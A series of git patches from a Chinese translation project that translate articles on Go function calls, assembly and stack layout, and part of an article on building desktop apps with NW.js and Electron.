+如果你以前从来没有看过汇编语言，那么恭喜啦，你今天看到的内容对你来说是全新的。我将在 Mac 上完成这些事情，所以配置是 Intel 64位。
 
 ```
  main.go:20 0x22c0 48c744241800000000 MOVQ $0x0, 0x18(SP)
@@ -33,43 +33,43 @@ If you’ve never looked at assembly language before, then, well, congratulation
  main.go:21 0x22db c3   RET
 ```
 
-What are we looking at here? Each line breaks down into 4 sections as follows.
+我们看到了什么？每一行如下所示被分为了4部分：
 
-- The source file name and line number (main.go:15). The source code at this line is translated to the instructions marked with that line number. One line of Go is likely translated to multiple lines of assembly.
-- the offset into the object file (e.g. 0x22C0).
-- The machine code (e.g. 48c744241800000000). This is the actual binary machine code the CPU executes. We’re not going to look at this! Almost nobody ever does.
-- The assembly language representation of the machine code. This is the bit we can hope to understand.
+- 源文件的名称和行号（main.go:15）。这行的源代码会被转换为标有代码行号的说明。Go 的一行可能被转换成多行程序集。
+- 对象的偏移量（例如 0x22C0）。
+- 机器码（例如 48c744241800000000）。这是 CPU 实际执行的二进制机器码。我们不需要看这个，几乎没有人看这玩意。
+- 机器码的汇编表示形式，这也是我们想要理解的部分。
 
-Let’s focus in on that last section, the assembly code.
+让我们将注意力集中在最后一部分，汇编语言。
 
-- MOVQ, ADDQ and RET are instructions. They tell the CPU what operation to perform. They are followed by parameters telling the CPU what to perform the operation on.
-- SP, AX and CX are CPU registers. These are places where the CPU can store working values. There are several other registers the CPU can use.
-- SP is a special purpose register and is used to store the current stack pointer. The stack is an area of memory where the local variables, function parameters and function calls are recorded. There’s one stack per goroutine. As one function calls another, then another, each gets its own area on the stack. Areas are created during the function call by reducing the value of SP by the size of the area needed.
-- 0x8(SP) refers to the memory location that is 8 bytes past the memory location that SP points to.
+- MOVQ，ADDQ 和 RET 是说明。它们告诉 CPU 需要执行的操作。后面的参数告诉 CPU 对什么执行该操作。
+- SP，AX 和 CX 是 CPU 寄存器。寄存器是 CPU 用于存储值的地方，CPU 有多个寄存器可以使用。
+- SP 是一个专用寄存器，用于存储当前堆栈指针。堆栈是记录局部变量，参数和函数调用的寄存器。每个 goroutine 都有一个堆栈。当一个函数调用另一个函数，然后另一个函数再调用其他函数，每个函数在堆栈上获得自己的存储区域。在函数调用期间创建存储区域，将 SP 的大小中减去所需的存储大小。
+- 0x8（SP）是指超过 SP 指向的内存位置的 8 个字节的内存位置。
 
-So, our ingredients are memory locations, CPU registers, instructions to move values between memory and registers, and operations on registers. And that’s pretty much all a CPU does.
+因此，我们的工作的内容包含存储器位置，CPU 寄存器，用于在存储器和寄存器之间移动值的指令以及寄存器上的操作。 这几乎就是一个 CPU 所完成的事情了。
 
-Now lets look at the assembly in detail, starting with the first instruction. Remember we have two parameters `a` & `b` which we need to load from memory somewhere, add together, then return to the caller somehow.
+现在让我们从第一条指令开始看每一条内容。别忘了我们需要从内存中加载两个参数 `a` 和 `b`，把它们相加，然后返回至调用函数。
 
-1. `MOVQ $0x0, 0x18(SP)` puts 0 in the memory location SP+0x18. This is a bit mysterious.
-2. `MOVQ 0x8(SP), AX` puts the contents of memory location SP+0x8 in CPU register AX. Perhaps this is loading one of our parameters from memory?
-3. `MOVQ 0x10(SP), CX` puts the contents of memory location SP+0x10 in CPU register CX. This could be our other parameter.
-4. `ADDQ CX, AX` adds CX to AX, leaving the result in AX. Well, that’s adding the two parameters surely.
-5. `MOVQ AX, 0x18(SP)` stores the contents of register AX at the memory location SP+0x18. And that’s saving the result of the addition.
-6. `RET` returns to the calling function.
+1. `MOVQ $0x0, 0x18(SP)` 将 0 置于存储单元 SP+0x18 中。 这句看起来有点神秘。
+2. `MOVQ 0x8(SP), AX` 将存储单元 SP+0x8 中的内容放到 CPU 寄存器 AX 中。也许这就是从内存中加载的我们的参数之一？
+3. `MOVQ 0x10(SP), CX` 将存储单元 SP+0x10 的内容置于 CPU 寄存器 CX 中。 这可能就是我们所需的另一个参数。
+4. `ADDQ CX, AX` 将 CX 与 AX 相加，将结果存到 AX 中。好，现在已经把两个参数相加了。
+5. `MOVQ AX, 0x18(sp)` 将寄存器 AX 的内容存储在存储单元 SP+0x18 中。这就是在存储相加的结果。
+6. `RET` 将结果返回至调用函数。
 
-Remember our function has two parameters `a` & `b`, and it calculates `a+b` and returns the result. `MOVQ 0x8(SP), AX` is moving parameter `a` to AX. `a` is passed into the function on the stack at SP+0x8. `MOVQ 0x10(SP), CX` moves parameter `b` to CX. Parameter `b` is passed into the function on the stack at SP+0x10. `ADDQ CX, AX` adds `a` & `b`. `MOVQ AX, 0x18(SP)` stores the result at SP+0x18. The result is passed out of the function by placing it on the stack at SP+0x18. When the function returns the calling function can read the result off the stack.
+记住我们的函数有两个参数 `a` 和 `b`，它计算了 `a+b` 并且返回了结果。`MOVQ 0x8(SP), AX` 将参数 `a` 移到 AX 中，在 SP+0x8 的堆栈中 `a` 将被传给函数。`MOVQ 0x10(SP), CX` 将参数 `b` 移到 CX 中，在 SP+0x10 的堆栈中 `b` 将被传给函数。`ADDQ CX, AX` 使 `a` 和 `b` 相加。`MOVQ AX, 0x18(SP)` 将结果存储到 SP+0x18 中。 现在相加的结果被存储在 SP+0x18 的堆栈中，当函数返回调用函数时，可以从栈中读取结果。
 
-[I’ve assumed `a` is the first parameter and `b` is the second. I’m not sure that’s right. We’d need to play around a bit to work that out, but this post is getting pretty long already]
+我假设 `a` 是第一个参数，`b` 是第二个参数。我不确定是不是这样。我们需要花一点时间来完成这件事，但是这篇文章已经很长了。
 
-So what’s that mysterious first line doing? `MOVQ $0x0, 0x18(SP)` is storing 0 in location SP+0x18, which is where our result is finally stored. We can guess that this is because Go sets uninitialised values to zero, and we’ve turned off optimisations so the compiler still does this even if it’s unnecessary.
+那么有点神秘的第一行代码究竟是做什么用的？`MOVQ $0X0, 0X18(SP)` 将 0 存储至 SP+0x18 中，而 SP+0x18 是我们存储相加结果的地方。我们可以猜测，这是因为 Go 把没有初始化的值设置为 0 ，我们已经关闭了优化，即使没有必要，编译器也会执行这个操作。
 
-So what have we learnt.
+所以我们从中明白了什么：
 
-- Well, it looks like parameters are stored on the stack, with the first at SP+0x8, and the others at following at higher-numbered addresses.
-- And it looks like returned values are stored after the parameters, at yet-higher still addresses.
+- 好，看起来参数都存在堆栈中，第一个参数存储在 SP+0x8 中，另一个在更高编号的地址中。
+- 并且看上去返回的结果存储在参数后边，一个更高编号的已知地址中。
 
-Let’s now look at another function. This one has a local variable, but we’ve still kept it simple.
+现在让我们看另一个函数。这个函数有一个全局变量，不过我们依然会让它看起来很简单。
 
 ```
 func add3(a int) int {
@@ -78,7 +78,7 @@ func add3(a int) int {
 }
 ```
 
-We use the same procedure to get an assembly listing.
+我们用和刚才一样的过程来获取程序集列表。
 
 ```
 TEXT main.add3(SB) 
@@ -98,37 +98,37 @@ TEXT main.add3(SB)
  main.go:17 0x22b6 c3   RET
 ```
 
-Oh! That looks quite a bit more complicated. Let’s try to work it out.
+喔！看起来有点复杂。让我们来试试。
 
-The first 4 instructions are listed against source code line 15. Here is that line:
+前4条指令是根据源代码中的第15行列出的。这行代码是这样的：
 
 ```
 func add3(a int) int {
 ```
 
-That line doesn’t seem to do much. So perhaps this is some kind of function preamble. Let’s break it down.
+这一行代码似乎没有做什么。所以这可能是一种声明函数的方法。让我们分析一下。
 
-- `SUBQ $0x10, SP` subtracts 0x10=16 from SP. This gives us 16 bytes more space on the stack
-- `MOVQ BP, 0x8(SP)` stores the value of the register BP at SP+8, then `LEAQ 0x8(SP), BP` loads the address SP+8 into BP. So we’ve made a space to store the old value of BP, then loaded BP with the address of that space. This helps establish the chain of stack areas (or *stack frames*). This is a bit mysterious, and I’m afraid we won’t solve this in this post.
-- Finally in this section we have `MOVQ $0x0, 0x20(SP)` which, similar to the last function we considered, initialises the return value to 0.
+- `SUBQ $0x10, SP` 从 SP 减去 0x10=16。这个操作为我们分类了 16 字节的堆栈空间。
+- `MOVQ BP, 0x8(SP)` 将寄存器 BP 中的值存储至 SP+8 中，然后 `LEAQ 0x8(SP), BP` 将地址 SP+8 中的内容加载到 BP 中。现在我们已经有空间可以存储 BP 中之前所存的内容，然后将 BP 中的内容存储至刚刚分配的存储空间中，这有助于建立堆栈区域链（或者堆栈框架）。这有点神秘，不过在这篇文章中我们恐怕不会解决这个问题。
+- 在这一部分的最后是 `MOVQ $ 0x0, 0x20 (SP)`，它和我们刚刚分析的最后一句类似，就是将返回值初始化为0。
 
-The next line of the assembly corresponds to `b := 3` in the source code. The instruction is `MOVQ $0x3, 0(SP)`, which puts the value 3 into memory at SP+0. This solves one mystery. When we subtracted 0x10=16 from SP we made room for 2 8-byte values: our local variable `b` stored at SP+0, and the old value of BP stored at SP+0x08.
+下一行对应的是源码中的 `b := 3`，`MOVQ $03x, 0(SP)` 把 3 放到 SP+0 中。这解决了我们的一个疑惑。当我们从 SP 中减去 0x10 = 16 时，我们得到了可以存储两个 8 字节值的空间：我们的局部变量 `b` 存储在 SP+0 中，而 BP 之前的值存储在 SP+0x08 中。
 
-The next 6 lines of assembly correspond to `return a + b`. This needs to cover loading `a` & `b` from memory, adding them, and returning the result. Let’s look at each line in turn.
+接下来的 6 行程序集对应于 `return a + b`。这需要从内存中加载 `a` 和 `b`，然后将它们相加，并且返回结果。让我们依次看看每一行。
 
-- `MOVQ 0x18(SP), AX` moves the function parameter `a` stored at SP+0x18 into register AX
-- `ADDQ $0x3, AX` adds 3 to AX (for some reason it doesn’t use our local variable `b` at SP+0, even though optimisations are turned off)
-- `MOVQ AX, 0x20(SP)` stores the result of `a+b` at SP+0x20, which is where our return value is stored.
-- Next we have `MOVQ 0x8(SP), BP` and `ADDQ $0x10, SP`. These restore the old value of BP, then adds 0x10 to SP, setting it back to the value it was at the start of the function.
-- Finally we have `RET`, which returns to the caller.
+- `MOVQ 0x18(SP), AX` 将存储在 SP+0x18 的参数 `a` 移动到寄存器 AX 中
+- `ADDQ $0x3, AX` 将 3 加到 AX（由于某些原因，它不使用我们存储在 SP+0 的局部变量 `b`，尽管编译时优化被关闭了）
+- `MOVQ AX, 0x20(SP)` 将 `a+b` 的结果存储到 SP+0x20 中，也就是我们返回结果所存的地方。
+- 接下来我们得到的是 `MOVQ 0x8(SP), BP` 以及 `ADDQ $0x10, SP`，这些将恢复BP的旧值，然后将 0x10 添加到 SP，将其设置为该函数开始时的值。
+- 最后我们得到了 `RET`，将要返回给调用函数的。
 
-So what have we learnt?
+所以我们从中学到了什么呢？
 
-- The calling function makes space on the stack for the returned values and function parameters. The space for returned values is higher up the stack than the parameters.
-- If the called function has local variables it makes room for them by decreasing the value of the stack pointer SP. It also does something mysterious with the register BP.
-- When the function returns any manipulations of SP & BP are reversed.
+- 调用函数在堆栈中为返回值和参数分配空间。返回值的存储地址比参数的存储地址高。
+- 如果被调用函数有局部变量，则通过减少堆栈指针 SP 的值为它们分配空间。它也和寄存器 BP 做了一些神秘的事情。
+- 当函数返回任何 SP＆BP 的操作都会相反。
 
-Let’s map out how the stack was used in the add3() function:
+让我们看看堆栈在 add3() 方法中如何使用：
 
 ```
 SP+0x20: the return value
@@ -145,8 +145,8 @@ SP+0x08: the old value of BP
 SP+0x0: the local variable b
 ```
 
-If you look we didn’t see any mention of SP+0x10, so we don’t *know* what this is used for. But I can tell you that this is where the return address is stored. This is how the `RET` instruction knows where to return to.
+如果你觉得我们对于 SP+0x10 没有任何说明，所以不知道这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。
 
-Well, that’s enough for one post. Hopefully if you didn’t know how this stuff worked you now feel you understand it a little more, and if you were intimidated by assembly it’s perhaps a little less opaque. If you’d like any more detail on this stuff please write a comment and I’ll consider it for a future post.
+这篇文章已经足够了。 希望如果以前你不知道这些东西如何工作，但是现在你觉得你已经有了一些了解，或者如果你被汇编吓倒了，那么它可能不那么清晰。 如果你想了解有关汇编的更多信息，请在评论中告诉我，我会考虑在之后的文章中写出来。
 
-If you got this far and enjoyed it or learned something, please hit that heart-button so other people can find it.
+既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞这样这篇文章就可以被更多人看到了。
\ No newline at end of file
diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index 5e57a42f892..2e8b6efa515 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -4,17 +4,11 @@
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
 > * 校对者：
 
-# Go Function Calls Redux Go 方法调用 Redux #
-
-Some time ago in a [previous post](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)  I promised to take a further look at how function calls and call stacks in Go work. I’ve think found a neat way to make good on that promise, so here goes.
+# Go 函数调用 Redux #
 
 前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和调用堆栈在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。
 
-So what is a call stack? Well, it’s an area of memory used to hold local variables and call parameters, and to track where functions should return to. Each goroutine has it’s own stack. You could almost say a goroutine is its stack.
-
-什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个方法应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
-
-Here’s the code I’m going to use to show the stack in action. It’s just a sequence of simple function calls. main() calls [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak) , which then calls `f2(0xabad1dea)`, which calls `f3(0xbaddcafe)`. `f3()` then adds one to it’s parameter, and stores it in a local variable called `local`. It then takes the address of `local` and prints out memory starting at that address. Because `local` is on the stack, this prints the stack.
+什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
 
 下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 f3() 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `loacl` 在栈内，所以输出的就是栈。
 
@@ -65,12 +59,8 @@ func showFunc(at uintptr) {
 }
 ```
 
-Here’s the output of the program. It is a dump of memory starting at the address of `local`, shown as a list of 8-byte integers in hex. The address of each integer is on the left, and the int at the address is on the right.
-
 下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的8字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。
 
-We know `local` should equal 0xBADDCAFE + 1, or 0xBADDCAFF, and this is indeed what we see at the start of the dump.
-
 我们知道 `local` 应该等于 0xBADDCAFE + 1，或者 0xBADDCAFF，这确实是我们转储开始时看到的。
 
 ```
@@ -104,16 +94,11 @@ C42003FFC0: C4200001A0
 102752A is runtime.main /usr/local/Cellar/go/1.8/libexec/src/runtime/proc.go 194
 ```
 
-- The next number is 0xC42003FF48, which is the address of the 5th line of the dump.
 - 下一个数字是 0xC42003FF48，它是转储的第五行的地址。
-- After that we have 0x1088BEB. It turns out this is an address of executable code, and if we feed it into `runtime.FuncForPC` we see it is the address of line 19 of main.go, which is the last line of `f2()`. This is the address we return to when `f3()` returns.
 - 然后我们可以得到 0x1088BEB。事实上这是一个可执行代码的地址，如果我们将它作为 `runtime.FuncForPC` 的参数，我们知道它是 main.go 的第19行代码的地址，也是 f2() 的最后一行代码。这是 f3() 返回时我们得到的地址。
-- Next we have 0xBADDCAFE, the parameter to our call to `f3()`
 - 接下来我们得到 0xBADDCAFE，这是我们调用 `f3()` 时的参数。
 
-If we carry on we continue to see this pattern. Below I’ve marked up the memory dump showing how the stack pointers track back through the dump and where the function parameters and return addresses sit.
-
-如果继续我们将继续看到这种模式。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。
+如果继续我们将看到类似上面的输出结果。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。
 
 ```go
   C42003FF28: BADDCAFF    Local variable in f3()
@@ -130,22 +115,14 @@ If we carry on we continue to see this pattern. Below I’ve marked up the memor
   C42003FF80: 102752A     return to runtime.main()
 ```
 
-From this we can see many things.
+通过这些我们可以看出：
 
-通过这些我们可以明白很多。
-
-- First, the stack starts at a high address, and the stack address reduces as function calls are made.
 - 首先，堆栈从高地址开始，堆栈地址随着函数调用变小。
-- When a function call is made, the caller pushes the parameters onto the stack, then the return address (the address of the next instruction in the calling function), then a pointer to a higher point in the stack.
-- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），然后指向堆栈中较高的指针。
-- This pointer is used to find the previous function call on the stack when unwinding the stack when the call returns.
+- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），接着指向堆栈中较高的指针。
 - 当调用返回时，这个指针用于在堆栈中查找先前调用的函数。
-- Local variables are stored after the stack pointer.
 - 局部变量存储在堆栈指针之后。
 
-We can use the same technique to look at some slightly more complicated function calls. I’ve added more parameters, and some return values to `f2()` in this version.
-
-我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 方法也返回了更多的值。
+我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 函数也返回了更多的值。
 
 ```go
 package main
@@ -176,8 +153,6 @@ func f3(val int) {
 }
 ```
 
-This time I’ve jumped straight to the marked-up output.
-
 这次我们直接看被我标记好的输出结果。
 
 ```go
@@ -198,19 +173,11 @@ This time I’ve jumped straight to the marked-up output.
   C42003FF80: 102752A       return to runtime.main()
 ```
 
-From this we can see that
+从结果中我们可以看出：
 
-从结果中我们可以看出
-
-- the calling function makes space for the return values of the called function before the function parameters. (Note the values are uninitialised because the function hasn’t returned yet!)
-- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个方法还没有返回！）
-- parameters are pushed onto the stack in reverse order.
+- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个函数还没有返回！）
 - 参数在栈内的顺序与入栈顺序相反。
 
-Hopefully all that made sense! If you got this far and enjoyed it or learned something, please hit that heart-button. I can’t earn internet points without you.
-
-希望上面所写的这些没什么问题！既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。
-
-*By day, Phil fights crime at* [*ravelin.com*](https://ravelin.com) *. You can join him:* [*https://angel.co/ravelin/jobs*
+希望我都讲清楚了。既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。
 
 **Phil 白天在 [ravelin.com](https://ravelin.com) 的工作主要是防止网上欺诈，你可以加入他 https://angel.co/ravelin/jobs。**
\ No newline at end of file

From cb6799660a7a9feae5598380fd5e43009b9b8b96 Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Sat, 1 Apr 2017 23:59:45 +0800
Subject: [PATCH 011/638] Modify details

---
 TODO/anatomy-of-a-function-call-in-go.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/anatomy-of-a-function-call-in-go.md b/TODO/anatomy-of-a-function-call-in-go.md
index b4baa299cb1..f6141663c05 100644
--- a/TODO/anatomy-of-a-function-call-in-go.md
+++ b/TODO/anatomy-of-a-function-call-in-go.md
@@ -145,7 +145,7 @@ SP+0x08: the old value of BP
 SP+0x0: the local variable b
 ```
 
-如果你觉得我们对于 SP+0x10 没有任何说明，所以不知道这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。
+如果你觉得文章中没有提到 SP+0x10，所以不知道这是干什么用的。我可以告诉你，这是存储返回地址的地方。这是为了让 `RET` 指令知道返回到哪里去。
 
 这篇文章已经足够了。 希望如果以前你不知道这些东西如何工作，但是现在你觉得你已经有了一些了解，或者如果你被汇编吓倒了，那么它可能不那么清晰。 如果你想了解有关汇编的更多信息，请在评论中告诉我，我会考虑在之后的文章中写出来。
 

From 96b15b70ae9c88af6f594c11b3c80a2454821c49 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 2 Apr 2017 02:02:36 +0800
Subject: [PATCH 012/638] translation first half

---
 TODO/beyond-browser-web-desktop-apps.md | 222 +++++++++++++++++-------
 1 file changed, 161 insertions(+), 61 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 57d1a9da13e..a0dfb366c18 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -1,55 +1,83 @@
 > * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)
 > * 原文作者：[Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者： [bambooom](https://github.com/bambooom)
 > * 校对者：
 
-## Beyond The Browser: From Web Apps To Desktop Apps
+> ## Beyond The Browser: From Web Apps To Desktop Apps
 
-I started out as a web developer, and that’s now one part of what I do as a full-stack developer, but never had I imagined I’d create things for the desktop. I love the web. I love how altruistic our community is, how it embraces open-source, testing and pushing the envelope. I love discovering beautiful websites and powerful apps. When I was first tasked with creating a desktop app, I was apprehensive and intimidated. It seemed like it would be difficult, or at least… different.
+## 超越浏览器：从 web 应用到桌面应用
 
-It’s not an attractive prospect, right? Would you have to learn a new language or three? Imagine an archaic, alien workflow, with ancient tooling, and none of those things you love about the web. How would your career be affected?
+> I started out as a web developer, and that’s now one part of what I do as a full-stack developer, but never had I imagined I’d create things for the desktop. I love the web. I love how altruistic our community is, how it embraces open-source, testing and pushing the envelope. I love discovering beautiful websites and powerful apps. When I was first tasked with creating a desktop app, I was apprehensive and intimidated. It seemed like it would be difficult, or at least… different.
 
-OK, take a breath. The reality is that, as a web developer, not only do you already possess all of the skills to make great modern desktop apps, but thanks to powerful new APIs at your disposal, the desktop is actually where your skills can be leveraged the most.
+一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我喜欢 web，我热爱这个无私的社区，热爱它对于开源的友好，测试并推向更远的地方？我喜欢发现好看的网站和强大的应用。当我被指派做桌面应用的任务的时候，我f非常忧虑和害怕，因为那看起来很难，或者至少非常不同。
 
-In this article, we’ll look at the development of desktop applications using [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), the ups and downs of building one and living with one, using one code base for the desktop and the web, and more.
+> It’s not an attractive prospect, right? Would you have to learn a new language or three? Imagine an archaic, alien workflow, with ancient tooling, and none of those things you love about the web. How would your career be affected?
 
-#### Further Reading on SmashingMag: 
+这并不吸引人，对吧？你需要学一门新的语言，甚至三种？想象一下过时的工作流，古旧的工具，没有任何你喜欢的有关 web 的一切。你的职业会怎样被影响呢？
 
-- [Pixel-Perfect Specifications Without The Headaches](https://www.smashingmagazine.com/2016/08/pixel-perfect-specifications-without-the-headaches/)
-- [Building A First-Class App That Leverages Your Website](https://www.smashingmagazine.com/2016/02/building-first-class-app-leverages-website-case-study/)
-- [Mobile Considerations in UX Design: “Web or Native?”](https://www.smashingmagazine.com/2012/06/mobile-considerations-in-user-experience-design-web-or-native/)
-- [A Beginner’s Guide To Progressive Web Apps](https://www.smashingmagazine.com/2016/08/a-beginners-guide-to-progressive-web-apps/)
+> OK, take a breath. The reality is that, as a web developer, not only do you already possess all of the skills to make great modern desktop apps, but thanks to powerful new APIs at your disposal, the desktop is actually where your skills can be leveraged the most.
 
-### Why?
+别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有一切开发现代桌面应用所需的一切技能，甚至感谢新的强大的 API，你可以在桌面应用中发挥你最大的潜能。
 
-First of all, why would anyone create a desktop app? Any existing web app (as opposed to a website, if you believe in the distinction) is probably suited to becoming a desktop app. You could build a desktop app around any web app that would benefit from integration in the user’s system; think native notifications, launching on startup, interacting with files, etc. Some users simply prefer having certain apps there permanently on their machine, accessible whether they have a connection or not.
+> In this article, we’ll look at the development of desktop applications using [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), the ups and downs of building one and living with one, using one code base for the desktop and the web, and more.
 
-Maybe you’ve an idea that would only work as a desktop app; some things simply aren’t possible with a web app (at least yet, but more about that in a little bit). You could create a self-contained utility app for internal company use, without requiring anyone to install anything other than your app (because Node.js in built-in). Maybe you’ve an idea for the Mac App Store. Maybe it would simply be a fun side project.
+本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，它们的优劣，使用同一套基准代码给桌面、web，甚至更多。
 
-It’s hard to sum up why you should consider creating a desktop app because there are so many kinds of apps you could create. It really depends on what you’d like to achieve, how advantageous you find the additional APIs, and how much offline usage would enhance the experience for your users. For my team, it was a no-brainer because we were building a [chat application](https://teamwork.com/chat). On the other hand, a connection-dependent desktop app that doesn’t really have any desktop integration should be a web app and a web app alone. It wouldn’t be fair to expect a user to download your app (which includes a browser of its own and Node.js) when they wouldn’t get any more value from it than from visiting a URL of yours in their favorite browser.
+> ###  Why?
+### 为什么？
 
-Instead of describing the desktop app you personally should build and why, I’m hoping to spark an idea or at least spark your interest in this article. Read on to see just how easy it is to create powerful desktop apps using web technology and what that can afford you over (or alongside of) creating a web app.
+> First of all, why would anyone create a desktop app? Any existing web app (as opposed to a website, if you believe in the distinction) is probably suited to becoming a desktop app. You could build a desktop app around any web app that would benefit from integration in the user’s system; think native notifications, launching on startup, interacting with files, etc. Some users simply prefer having certain apps there permanently on their machine, accessible whether they have a connection or not.
+
+首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以为任何可以受益于与用户系统整合的 web 应用制作桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久拥有一些 app，无论是否联网都可以使用。
+
+> Maybe you’ve an idea that would only work as a desktop app; some things simply aren’t possible with a web app (at least yet, but more about that in a little bit). You could create a self-contained utility app for internal company use, without requiring anyone to install anything other than your app (because Node.js in built-in). Maybe you’ve an idea for the Mac App Store. Maybe it would simply be a fun side project.
+
+也许你有个想法，但只能在桌面应用上有意义，有些事情只是在 web 应用中不可能（至少是这样，但也可能更多一点（译注：没太懂这一句））。你可能想要创建一个独立的多功能应用，只给公司内部使用，除了你的 app 不需要安装其他东西（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。
+
+> It’s hard to sum up why you should consider creating a desktop app because there are so many kinds of apps you could create. It really depends on what you’d like to achieve, how advantageous you find the additional APIs, and how much offline usage would enhance the experience for your users. For my team, it was a no-brainer because we were building a [chat application](https://teamwork.com/chat). On the other hand, a connection-dependent desktop app that doesn’t really have any desktop integration should be a web app and a web app alone. It wouldn’t be fair to expect a user to download your app (which includes a browser of its own and Node.js) when they wouldn’t get any more value from it than from visiting a URL of yours in their favorite browser.
+
+很难概括你应该考虑开发桌面应用的原因，因为真的有很多很多东西你可以做。这非常取决于你想要达到什么，API 是否足够有利于开发，离线使用将多大程度上改进用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[即时通讯应用](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统整合的桌面应用应该是一个 web 应用，并且仅仅是一个 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
+
+> Instead of describing the desktop app you personally should build and why, I’m hoping to spark an idea or at least spark your interest in this article. Read on to see just how easy it is to create powerful desktop apps using web technology and what that can afford you over (or alongside of) creating a web app.
+
+比起描述你个人应该建造的桌面应用以及为什么建造，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及它将给予你的超过（或者相同）创造一个 web 应用。
 
 ### NW.js
 
-Desktop applications have been around a long time but you don’t have all day, so let’s skip some history and begin in Shanghai, 2011. Roger Wang, of Intel’s Open Source Technology Center, created node-webkit; a proof-of-concept Node.js module that allowed the user to spawn a WebKit browser window and use Node.js modules within `<script>` tags.
+> Desktop applications have been around a long time but you don’t have all day, so let’s skip some history and begin in Shanghai, 2011. Roger Wang, of Intel’s Open Source Technology Center, created node-webkit; a proof-of-concept Node.js module that allowed the user to spawn a WebKit browser window and use Node.js modules within `<script>` tags.
 
-After some progress and a switch from WebKit to Chromium (the open-source project Google Chrome is based on), an intern named Cheng Zhao joined the project. It was soon realized that an app runtime based on Node.js and Chromium would make a nice framework for building desktop apps. The project went on be quite popular.
+桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 创造了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户生成一个自带 WebKit 内核的浏览器窗口并直接在 `<script>` 使用 Node.js 模块。
 
-*Note*: node-webkit was later renamed NW.js to make it a bit more generic because it no longer used Node.js or WebKit. Instead of Node.js, it was based on io.js (the Node.js fork) at the time, and Chromium had moved on from WebKit to its own fork, Blink.
+> After some progress and a switch from WebKit to Chromium (the open-source project Google Chrome is based on), an intern named Cheng Zhao joined the project. It was soon realized that an app runtime based on Node.js and Chromium would make a nice framework for building desktop apps. The project went on be quite popular.
 
